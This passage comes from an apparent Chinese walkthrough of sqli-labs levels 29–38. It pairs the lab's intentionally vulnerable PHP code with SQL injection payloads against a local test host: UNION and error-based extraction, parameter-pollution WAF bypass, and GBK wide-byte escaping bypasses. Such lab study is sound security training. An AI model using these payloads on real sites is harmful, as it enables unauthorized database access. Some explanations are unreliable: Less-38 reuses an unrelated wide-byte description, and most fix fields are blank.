  5. http://sqli.test/Less-29/login.php?id=1&id=1' and 1=1 --+ // 有数据
  6. http://sqli.test/Less-29/login.php?id=1&id=1' and 1=2 --+ // 无数据
  7. # 报错注入
  8. http://sqli.test/Less-29/login.php?id=1&id=1' and updatexml(1,concat(1,(database()),1),1)--+

Less - 30 GET - Blind - Impidence Mismatch - Having A WAF In Front Of Web Application(基于盲注 内置WAF)

  1. # index.php
  2. <?php
  3. error_reporting(0);
  4. if(isset($_GET['id'])){
  5. $id=$_GET['id'];
  6. $qs = $_SERVER['QUERY_STRING'];
  7. $hint=$qs;
  8. $id = '"' .$id. '"';
  9. $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
  10. $result=mysql_query($sql);
  11. $row = mysql_fetch_array($result);
  12. if($row){
  13. echo "<font size='5' color= '#99FF00'>";
  14. echo 'Your Login name:'. $row['username'];
  15. echo "<br>";
  16. echo 'Your Password:' .$row['password'];
  17. echo "</font>";
  18. }else{
  19. //print_r(mysql_error());
  20. }
  21. }else {
  22. echo "Please input the ID as parameter with numeric value";
  23. }
  24. ?>
  1. # 漏洞产生:无过滤
  2. # 漏洞修复:加过滤
  3. # 漏洞验证:
  4. # 注入探测
  5. http://sqli.test/Less-30/?id=1" and 1=1 --+
  6. # 联合注入
  7. http://sqli.test/Less-30/?id=-1" union select 1,2,3 --+
  8. http://sqli.test/Less-30/?id=-1" union select 1,2,(database()) --+
  1. # login.php
  2. <?php
  3. error_reporting(0);
  4. if(isset($_GET['id'])){
  5. $qs = $_SERVER['QUERY_STRING'];
  6. $hint=$qs;
  7. $id1=java_implimentation($qs);
  8. $id=$_GET['id'];
  9. whitelist($id1);
  10. $id = '"' .$id. '"';
  11. $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
  12. $result=mysql_query($sql);
  13. $row = mysql_fetch_array($result);
  14. if($row){
  15. echo 'Your Login name:'. $row['username'];
  16. echo 'Your Password:' .$row['password'];
  17. }else{
  18. print_r(mysql_error());
  19. }
  20. }else {
  21. echo "Please input the ID as parameter with numeric value";
  22. }
  23. //WAF implimentation with a whitelist approach..... only allows input to be Numeric.
  24. function whitelist($input){
  25. $match = preg_match("/^\d+$/", $input);
  26. if($match){
  27. //echo "you are good";
  28. //return $match;
  29. }else{
  30. header('Location: hacked.php');
  31. }
  32. }
  33. function java_implimentation($query_string){
  34. $q_s = $query_string;
  35. $qs_array= explode("&",$q_s);
  36. foreach($qs_array as $key => $value){
  37. $val=substr($value,0,2);
  38. if($val=="id"){
  39. $id_value=substr($value,3,30);
  40. return $id_value;
  41. break;
  42. }
  43. }
  44. }
  45. ?>
  1. # 漏洞产生:漏洞出现在第7行,这个函数只执行了一次且这个函数只能接受一组数据,多了一组同名变量的就会溢出,这个漏洞只解析一组,另一组将不被解析,Apache+PHP解析最后一个参数、omcat+JSP解析第一个参数
  2. # 漏洞修复:
  3. # 漏洞验证:
  4. # 注入探测
  5. http://sqli.test/Less-30/login.php?id=1&id=1" and 1=1 --+ // 有数据
  6. http://sqli.test/Less-30/login.php?id=1&id=1" and 1=2 --+ // 无数据
  7. # 报错注入
  8. http://sqli.test/Less-30/login.php?id=1&id=1" and updatexml(1,concat(1,(database()),1),1) --+

Less - 31 - GET Blind - Impidence Mismatch - Having A WAF In From Of Web Application(基于盲注 内WAF)

  1. # index.php
  2. <?php
  3. if(isset($_GET['id'])){
  4. $id=$_GET['id'];
  5. $qs = $_SERVER['QUERY_STRING'];
  6. $hint=$qs;
  7. $id = '"'.$id.'"';
  8. $sql="SELECT * FROM users WHERE id= ($id) LIMIT 0,1";
  9. $result=mysql_query($sql);
  10. $row = mysql_fetch_array($result);
  11. if($row){
  12. echo 'Your Login name:'. $row['username'];
  13. echo 'Your Password:' .$row['password'];
  14. }else{
  15. print_r(mysql_error());
  16. }
  17. }else {
  18. echo "Please input the ID as parameter with numeric value";
  19. }
  20. ?>
  1. # 漏洞产生:无过滤
  2. # 漏洞修复:加过滤
  3. # 漏洞验证:
  4. # 注入探测
  5. http://sqli.test/Less-31/?id=1") and 1=1 --+ // 有数据
  6. http://sqli.test/Less-31/?id=1") and 1=2 --+ // 无数据
  7. # 联合注入
  8. http://sqli.test/Less-31/?id=-1") union select 1,2,3 --+
  9. http://sqli.test/Less-31/?id=-1") union select 1,2,(database()) --+
  1. # login.php
  2. <?php
  3. error_reporting(0);
  4. if(isset($_GET['id'])){
  5. $qs = $_SERVER['QUERY_STRING'];
  6. $hint=$qs;
  7. $id1=java_implimentation($qs);
  8. $id=$_GET['id'];
  9. whitelist($id1);
  10. $id = '"' .$id. '"';
  11. $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
  12. $result=mysql_query($sql);
  13. $row = mysql_fetch_array($result);
  14. if($row){
  15. echo 'Your Login name:'. $row['username'];
  16. echo 'Your Password:' .$row['password'];
  17. }else{
  18. print_r(mysql_error());
  19. }
  20. }else {
  21. echo "Please input the ID as parameter with numeric value";
  22. }
  23. //WAF implimentation with a whitelist approach..... only allows input to be Numeric.
  24. function whitelist($input){
  25. $match = preg_match("/^\d+$/", $input);
  26. if($match){
  27. //echo "you are good";
  28. //return $match;
  29. }else{
  30. header('Location: hacked.php');
  31. }
  32. }
  33. function java_implimentation($query_string){
  34. $q_s = $query_string;
  35. $qs_array= explode("&",$q_s);
  36. foreach($qs_array as $key => $value){
  37. $val=substr($value,0,2);
  38. if($val=="id"){
  39. $id_value=substr($value,3,30);
  40. return $id_value;
  41. break;
  42. }
  43. }
  44. }
  45. ?>
  1. # 漏洞产生:漏洞出现在第7行,这个函数只执行了一次且这个函数只能接受一组数据,多了一组同名变量的就会溢出,这个漏洞只解析一组,另一组将不被解析,Apache+PHP解析最后一个参数、omcat+JSP解析第一个参数
  2. # 漏洞修复:
  3. # 漏洞验证:
  4. # 注入探测
  5. http://sqli.test/Less-31/login.php?id=1&id=1") and 1=1 --+ // 有数据
  6. http://sqli.test/Less-31/login.php?id=1&id=1") and 1=2 --+ // 无数据
  7. # 报错注入
  8. http://sqli.test/Less-31/login.php?id=1&id=1") and updatexml(1,concat(1,(database()),1),1) --+

Less - 32 GET - Bypass Custom Filter Adding Slashes To Dangerous Chars(绕过自定义的WAF 自动添加斜杠 宽字节)

  1. <?php
  2. function check_addslashes($string){
  3. $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash 转义所有反斜杠 preg_quote:转义正则表达式字符
  4. $string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash 用反斜杠转义单引号( ' -> \' )
  5. $string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash 用反斜杠转义双引号( " -> \" )
  6. return $string;
  7. }
  8. if(isset($_GET['id'])){
  9. $id=check_addslashes($_GET['id']);
  10. mysql_query("SET NAMES gbk");
  11. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  12. $result=mysql_query($sql);
  13. $row = mysql_fetch_array($result);
  14. if($row){
  15. echo 'Your Login name:'. $row['username'];
  16. echo 'Your Password:' .$row['password'];
  17. }else{
  18. print_r(mysql_error());
  19. }
  20. }else {
  21. echo "Please input the ID as parameter with numeric value"
  22. }
  23. ?>
  1. # 漏洞产生:宽字节注入,mysql在使用gbk格式时会把两个字符当成一个汉字,比如在[ %5c%27 ]前面加上[ %df ]然后就变成[ %df%5c%27 ],在MySQL的角度查看这两个字符时会把他当成一个汉字,也就是[ %df%5c = � ],然后后面的[ %27 ]就会被单独出来,这个[ %27 ]也就是我们的单引号('),所以我们可以使用这个方法进行宽字节绕过。
  2. # 漏洞修复:
  3. # 漏洞验证:
  4. # 注入探测
  5. http://sqli.test/Less-32/?id=1 %df' and 1=1 --+ # // 有数据
  6. http://sqli.test/Less-32/?id=2 %df' and 1=1 --+ # // 无数据
  7. # 联合注入
  8. http://sqli.test/Less-32/?id=-1 %df' union select 1,2,(database()) --+
  9. # 报错注入
  10. http://sqli.test/Less-32/?id=1 %df' and updatexml(1,concat(1,(database()),1),1) --+

Less - 33 GET - Bypass Add Slashes(绕过斜杠)

  1. <?php
  2. function check_addslashes($string){
  3. $string= addslashes($string); // addslashes:预编译字符(' " \)前加反斜杠 [' -> \' ] [ " -> \" ] [ \ -> \\ ]
  4. return $string;
  5. }
  6. if(isset($_GET['id'])){
  7. $id=check_addslashes($_GET['id']);
  8. mysql_query("SET NAMES gbk");
  9. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  10. $result=mysql_query($sql);
  11. $row = mysql_fetch_array($result);
  12. if($row){
  13. echo 'Your Login name:'. $row['username'];
  14. echo 'Your Password:' .$row['password'];
  15. }else{
  16. print_r(mysql_error());
  17. }
  18. }else {
  19. echo "Please input the ID as parameter with numeric value";
  20. }
  21. ?>
  1. # 漏洞产生:宽字节注入,mysql在使用gbk格式时会把两个字符当成一个汉字,比如在[ \' = %5c%27 ]前面加上[ %df ]然后就变成[ %df%5c%27 ],在MySQL的角度查看这两个字符时会把他当成一个汉字,也就是[ %df%5c = � ],然后后面的[ %27 ]就会被单独出来,这个[ %27 ]也就是我们的单引号('),所以我们可以使用这个方法进行宽字节绕过。
  2. # 漏洞修复:
  3. # 漏洞验证:
  4. # 注入探测
  5. http://sqli.test/Less-33/?id=1 %df' and 1=1 --+ # // 有数据
  6. http://sqli.test/Less-33/?id=2 %df' and 1=1 --+ # // 无数据
  7. # 联合注入
  8. http://sqli.test/Less-33/?id=-1 %df' union select 1,2,(database()) --+
  9. # 报错注入
  10. http://sqli.test/Less-33/?id=1 %df' and updatexml(1,concat(1,(database()),1),1) --+

Less - 34 POST - Bypass Add Slashes(绕过斜杠)

  1. <?php
  2. if(isset($_POST['uname']) && isset($_POST['passwd'])){
  3. $uname1=$_POST['uname'];
  4. $passwd1=$_POST['passwd'];
  5. $uname = addslashes($uname1); // 预编译引号
  6. $passwd= addslashes($passwd1); // 预编译引号
  7. mysql_query("SET NAMES gbk");
  8. @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
  9. $result=mysql_query($sql);
  10. $row = mysql_fetch_array($result);
  11. if($row){
  12. echo 'Your Login name:'. $row['username'];
  13. echo 'Your Password:' .$row['password'];
  14. }else{
  15. print_r(mysql_error());
  16. }
  17. }
  18. ?>
  1. # 漏洞产生:宽字节注入,mysql在使用gbk格式时会把两个字符当成一个汉字,比如在[ \' = %5c%27 ]前面加上[ %df ]然后就变成[ %df%5c%27 ],在MySQL的角度查看这两个字符时会把他当成一个汉字,也就是[ %df%5c = � ],然后后面的[ %27 ]就会被单独出来,这个[ %27 ]也就是我们的单引号('),所以我们可以使用这个方法进行宽字节绕过;绕过姿势2,将(\')中的(\)过滤掉,可以构造[ %**%5c%5c%27 ]这样后面的[ %5c ]就会被前面的[ %5c ]注释掉。
  2. # 漏洞修复:
  3. # 漏洞验证:
  4. # 注入探测
  5. [POST]:uname=admin+%df'+union+select+1,2+--+&passwd=admin&submit=Submit
  6. # 联合注入
  7. [POST]:uname=admin+%df'+union+select+1,(database())+--+&passwd=admin&submit=Submit
  8. # 报错注入
  9. [POST]:uname=admin+%df'+and+updatexml(1,concat(1,(database()),1),1)--+&passwd=admin&submit=Submit

Less - 35 GET - Bypass Add Slashes(We Dont Need Them) Interger Based (绕过斜杠 数字盲注)

  1. <?php
  2. function check_addslashes($string){
  3. $string = addslashes($string);
  4. return $string;
  5. }
  6. if(isset($_GET['id'])){
  7. $id=check_addslashes($_GET['id']);
  8. mysql_query("SET NAMES gbk");
  9. $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
  10. $result=mysql_query($sql);
  11. $row = mysql_fetch_array($result);
  12. if($row){
  13. echo 'Your Login name:'. $row['username'];
  14. echo 'Your Password:' .$row['password'];
  15. }else{
  16. print_r(mysql_error());
  17. }
  18. }
  19. ?>
  1. # 漏洞产生:只写了引号的过滤,但是这关是数字的注入,所以直接插就行
  2. # 漏洞修复:
  3. # 漏洞验证:
  4. # 注入探测
  5. http://sqli.test/Less-35/?id=1 and 1=1 --+ // 有数据
  6. http://sqli.test/Less-35/?id=1 and 1=2 --+ // 无数据
  7. # 联合注入
  8. http://sqli.test/Less-35/?id=-1 union select 1,2,database() --+
  9. # 报错注入
  10. http://sqli.test/Less-35/?id=1 and updatexml(1,concat(1,(database()),1),1) --+

Less - 36 GET - Bypass Mysql_Real_Escape_String(绕过mysql预编译)

  1. <?php
  2. function check_quotes($string){
  3. $string= mysql_real_escape_string($string); // mysql_real_escape_string():转义sql常用字符(\x00、\n、\r、\、'、"、\x1a)
  4. return $string;
  5. }
  6. if(isset($_GET['id'])){
  7. $id=check_quotes($_GET['id']);
  8. mysql_query("SET NAMES gbk");
  9. $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
  10. $result=mysql_query($sql);
  11. $row = mysql_fetch_array($result);
  12. if($row){
  13. echo 'Your Login name:'. $row['username'];
  14. echo 'Your Password:' .$row['password'];
  15. }else{
  16. print_r(mysql_error());
  17. }
  18. }
  19. ?>
  1. # 漏洞产生:宽字节注入,mysql在使用gbk格式时会把两个字符当成一个汉字,比如在[ \' = %5c%27 ]前面加上[ %df ]然后就变成[ %df%5c%27 ],在MySQL的角度查看这两个字符时会把他当成一个汉字,也就是[ %df%5c = � ],然后后面的[ %27 ]就会被单独出来,这个[ %27 ]也就是我们的单引号('),所以我们可以使用这个方法进行宽字节绕过;绕过姿势2,将(\')中的(\)过滤掉,可以构造[ %**%5c%5c%27 ]这样后面的[ %5c ]就会被前面的[ %5c ]注释掉。
  2. # 漏洞修复:
  3. # 漏洞验证:
  4. # 注入探测
  5. http://sqli.test/Less-36/?id=1 %df' and 1=1 --+ // 有数据
  6. http://sqli.test/Less-36/?id=1 %df' and 1=2 --+ // 无数据
  7. # 联合注入
  8. http://sqli.test/Less-36/?id=-1 %df' union select 1,2,(database()) --+
  9. # 报错注入
  10. http://sqli.test/Less-36/?id=-1 %df' and updatexml(1,concat(1,(database()),1),1) --+
  11. http://sqli.test/Less-36/?id=-1 %df' and extractvalue(1,concat(1,database(),1))--+

Less - 37 POST - Bypass Mysql_Real_Escape_String(绕过mysql预编译)

  1. <?php
  2. if(isset($_POST['uname']) && isset($_POST['passwd'])){
  3. $uname1=$_POST['uname'];
  4. $passwd1=$_POST['passwd'];
  5. $uname = mysql_real_escape_string($uname1);
  6. $passwd= mysql_real_escape_string($passwd1);
  7. mysql_query("SET NAMES gbk");
  8. @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
  9. $result=mysql_query($sql);
  10. $row = mysql_fetch_array($result);
  11. if($row){
  12. echo 'Your Login name:'. $row['username'];
  13. echo 'Your Password:' .$row['password'];
  14. }else{
  15. print_r(mysql_error());
  16. }
  17. }
  18. ?>
  1. # 漏洞产生:宽字节注入,mysql在使用gbk格式时会把两个字符当成一个汉字,比如在[ \' = %5c%27 ]前面加上[ %df ]然后就变成[ %df%5c%27 ],在MySQL的角度查看这两个字符时会把他当成一个汉字,也就是[ %df%5c = � ],然后后面的[ %27 ]就会被单独出来,这个[ %27 ]也就是我们的单引号('),所以我们可以使用这个方法进行宽字节绕过;绕过姿势2,将(\')中的(\)过滤掉,可以构造[ %**%5c%5c%27 ]这样后面的[ %5c ]就会被前面的[ %5c ]注释掉。
  2. # 漏洞修复:
  3. # 漏洞验证:
  4. # 注入探测
  5. [POST]:uname=admin+%df'+union+select+1,2+--+&passwd=admin&submit=Submit
  6. # 联合注入
  7. [POST]:uname=admin+%df'+union+select+1,(database())+--+&passwd=admin&submit=Submit
  8. # 报错注入
  9. [POST]:uname=admin+%df'+and+updatexml(1,concat(1,(database()),1),1)--+&passwd=admin&submit=Submit

Less - 38 Future Editions(未来版本)

  1. <?php
  2. if(isset($_GET['id'])){
  3. $id=$_GET['id'];
  4. $con1 = mysqli_connect($host,$dbuser,$dbpass,$dbname);
  5. // Check connection
  6. if (mysqli_connect_errno($con1)){
  7. echo "Failed to connect to MySQL: " . mysqli_connect_error();
  8. }else{
  9. @mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database: $dbname");
  10. }
  11. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  12. /* execute multi query */
  13. if (mysqli_multi_query($con1, $sql)){
  14. if ($result = mysqli_store_result($con1)){
  15. if($row = mysqli_fetch_row($result)){
  16. echo '<font size = "5" color= "#00FF00">';
  17. printf("Your Username is : %s", $row[1]);
  18. printf("Your Password is : %s", $row[2]);
  19. }
  20. }if (mysqli_more_results($con1)){
  21. }
  22. }else{
  23. print_r(mysqli_error($con1));
  24. }
  25. mysqli_close($con1);
  26. }else {
  27. echo "Please input the ID as parameter with numeric value";
  28. }
  29. ?>
  1. # 漏洞产生:宽字节注入,mysql在使用gbk格式时会把两个字符当成一个汉字,比如在[ \' = %5c%27 ]前面加上[ %df ]然后就变成[ %df%5c%27 ],在MySQL的角度查看这两个字符时会把他当成一个汉字,也就是[ %df%5c = � ],然后后面的[ %27 ]就会被单独出来,这个[ %27 ]也就是我们的单引号('),所以我们可以使用这个方法进行宽字节绕过;绕过姿势2,将(\')中的(\)过滤掉,可以构造[ %**%5c%5c%27 ]这样后面的[ %5c ]就会被前面的[ %5c ]注释掉。
  2. # 漏洞修复:
  3. # 漏洞验证:
  4. # 注入探测
  5. http://sqli.test/Less-38/?id=1 'and 1=1 --+
  6. http://sqli.test/Less-38/?id=1 'and 1=2 --+
  7. # 联合注入
  8. http://sqli.test/Less-38/?id=-1 ' union select 1,2,database() --+
  9. # 报错注入
  10. http://sqli.test/Less-38/?id=-1 ' and updatexml(1,concat(1,database(),1),1) --+
  11. http://sqli.test/Less-38/?id=-1 ' and extractvalue(1,concat(1,database(),1)) --+